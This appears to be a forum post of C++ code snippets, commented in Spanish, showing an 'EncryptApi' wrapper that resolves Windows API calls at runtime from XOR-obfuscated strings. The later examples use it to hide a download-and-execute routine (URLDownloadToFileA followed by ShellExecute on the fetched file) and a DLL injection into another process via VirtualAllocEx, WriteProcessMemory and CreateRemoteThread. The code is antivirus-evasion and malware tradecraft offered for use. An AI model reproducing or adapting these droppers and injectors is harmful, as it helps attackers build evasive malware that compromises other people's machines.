#include "EncryptApi.hpp"
 
int main()
{
	EncryptApi<int> myMessageBox("MessageBoxA","User32.dll", 5);
	int retorno = myMessageBox(4, 0, "HOLA MUNDO!!", ":D", 0);
}

EncryptApi<tipo_valor_de_retorno> (nombre_del_api, nombre_de_la_dll, numero_de_bytes_a_copiar);

#include <windows.h>
#include <iostream>
using namespace std;
 
void main()
{
	char nombreApi[50];
	char nombreDll[50];
 
	cout << "Introduzca el nombre del api:   ";
	cin  >> nombreApi;
	cout << "Introduzca el nombre de la dll: ";
	cin  >> nombreDll;
 
	cout << "\nLa direccion del api es: " 
		 << GetProcAddress(LoadLibraryA(nombreDll), nombreApi) << endl; 
 
	system("pause");
}

#include "EncryptApi.hpp"
 
void xor(char *str, const char *clave, const int tamStr, const int tamClave)
{
	for(int n=0; n<=tamStr; n++)
		str[n] ^= clave[n%tamClave];
}
 
int main()
{
	// Encriptacion de cadenas
	const char key[] = "df5DF4s";
	const int  tamKey = 7;
 
	char strURLDownloadToFileA[] = { 0x31, 0x34, 0x79, 0x0, 0x29, 0x43, 0x1d, 0x8, 0x9, 0x54, 0x20, 
							         0x12, 0x5b, 0x35, 0xd, 0xa, 0x50, 0x5, 0x46 };	
	char strUrlmon[] =             { 0x31, 0x14, 0x59, 0x29, 0x29, 0x5a, 0x5d, 0x0, 0xa, 0x59, 0x44 };
	char strShellExecuteA[] =      { 0x37, 0xe, 0x50, 0x28, 0x2a, 0x71, 0xb, 0x1, 0x5, 0x40, 0x30, 0x23, 0x75, 0x73 };
	char strShell32[] =            { 0x37, 0xe, 0x50, 0x28, 0x2a, 0x7, 0x41, 0x4a, 0x2, 0x59, 0x28, 0x46 };
 
	xor(strURLDownloadToFileA, key, sizeof(strURLDownloadToFileA)-1, tamKey);
	xor(strUrlmon,             key, sizeof(strUrlmon)-1,             tamKey);
	xor(strShellExecuteA,      key, sizeof(strShellExecuteA)-1,      tamKey);
	xor(strShell32,            key, sizeof(strShell32)-1,            tamKey);
 
	// Codigo
	EncryptApi<HRESULT>   myURLDownloadToFile(strURLDownloadToFileA, strUrlmon, 11);
	EncryptApi<HINSTANCE> myShellExecute     (strShellExecuteA, strShell32, 5);
 
	myURLDownloadToFile (5, 0, "http://foro.elhacker.net/Themes/converted/selogo.jpg", "C:\\imagen.jpg", 0, NULL);
	myShellExecute      (6, 0, "open", "C:\\imagen.jpg", NULL, NULL, SW_SHOW);
}
 

#include "EncryptApi.hpp"
 
void xor(char *str, const char *clave, const int tamStr, const int tamClave)
{
	for(int n=0; n<=tamStr; n++)
		str[n] ^= clave[n%tamClave];
}
 
int main()
{
	// Encriptacion de cadenas
	const char key[] = "df5DF4s";
	const int  tamKey = 7;
 
	char strCreateRemoteThread[] = { 0x27, 0x14, 0x50, 0x25, 0x32, 0x51, 0x21, 0x1, 0xb, 0x5a, 0x30, 0x23, 0x60, 0x1b,
		                             0x16, 0x3, 0x54, 0x20, 0x46 };
	char strWriteProcessMemory[] = { 0x33, 0x14, 0x5c, 0x30, 0x23, 0x64, 0x1, 0xb, 0x5, 0x50, 0x37, 0x35, 0x79, 0x16,
		                             0x9, 0x9, 0x47, 0x3d, 0x46 };
	char strVirtualAllocEx[]     = { 0x32, 0xf, 0x47, 0x30, 0x33, 0x55, 0x1f, 0x25, 0xa, 0x59, 0x2b, 0x25, 0x71, 0xb,
		                             0x64 };
	char strOpenProcess[]        = { 0x2b, 0x16, 0x50, 0x2a, 0x16, 0x46, 0x1c, 0x7, 0x3, 0x46, 0x37, 0x46 };
	char strGetModuleHandleA[]   = { 0x23, 0x3, 0x41, 0x9, 0x29, 0x50, 0x6, 0x8, 0x3, 0x7d, 0x25, 0x28, 0x50, 0x1f, 
                      		         0x1, 0x27, 0x35 };
	char strGetProcAddress[]     = { 0x23, 0x3, 0x41, 0x14, 0x34, 0x5b, 0x10, 0x25, 0x2, 0x51, 0x36, 0x23, 0x47, 0x0,
		                             0x64 };
	char strCloseHandle[]        = { 0x27, 0xa, 0x5a, 0x37, 0x23, 0x7c, 0x12, 0xa, 0x2, 0x59, 0x21, 0x46 };
	char strKernel32[]           = { 0x2f, 0x3, 0x47, 0x2a, 0x23, 0x58, 0x40, 0x56, 0x48, 0x51, 0x28, 0x2a, 0x34 };
 
 
	xor(strCreateRemoteThread, key, sizeof(strCreateRemoteThread)-1, tamKey);
	xor(strWriteProcessMemory, key, sizeof(strWriteProcessMemory)-1, tamKey);
	xor(strVirtualAllocEx, key, sizeof(strVirtualAllocEx)-1, tamKey);
	xor(strOpenProcess, key, sizeof(strOpenProcess)-1, tamKey);
	xor(strGetModuleHandleA, key, sizeof(strGetModuleHandleA)-1, tamKey);
	xor(strGetProcAddress, key, sizeof(strGetProcAddress)-1, tamKey);
	xor(strCloseHandle, key, sizeof(strCloseHandle)-1, tamKey);
	xor(strKernel32, key, sizeof(strKernel32)-1, tamKey);
 
	EncryptApi<HANDLE>  myOpenProcess         (strOpenProcess, strKernel32, 5);
	EncryptApi<HMODULE> myGetModuleHandle     (strGetModuleHandleA, strKernel32, 5);
	EncryptApi<FARPROC> myGetProcAddress      (strGetProcAddress, strKernel32, 5);
	EncryptApi<LPVOID>  myVirtualAllocEx      (strVirtualAllocEx, strKernel32, 7);
	EncryptApi<BOOL>    myWriteProcessMemory  (strWriteProcessMemory, strKernel32, 5);
	EncryptApi<HANDLE>  myCreateRemoteThread  (strCreateRemoteThread, strKernel32, 5);
	EncryptApi<BOOL>    myCloseHandle         (strCloseHandle, strKernel32, 5);
 
	// Inyeccion dll
	HANDLE proceso;
	LPVOID RemoteString;
	LPVOID nLoadLibrary;
	int pid = 1988;
	char rutaDll[] = "C:\\Dll.dll";
 
	proceso = myOpenProcess(3,PROCESS_ALL_ACCESS, false, pid); 
	nLoadLibrary = (LPVOID)myGetProcAddress(2,myGetModuleHandle(1,"kernel32.dll"),"LoadLibraryA");
	RemoteString = (LPVOID)myVirtualAllocEx(5,proceso,NULL,strlen(rutaDll),MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);
	myWriteProcessMemory(5,proceso,(LPVOID)RemoteString,rutaDll,strlen(rutaDll),NULL);
	myCreateRemoteThread(7,proceso,NULL,NULL,(LPTHREAD_START_ROUTINE)nLoadLibrary,(LPVOID)RemoteString,NULL,NULL);
	myCloseHandle(1,proceso);
 
 
	return 0;	
}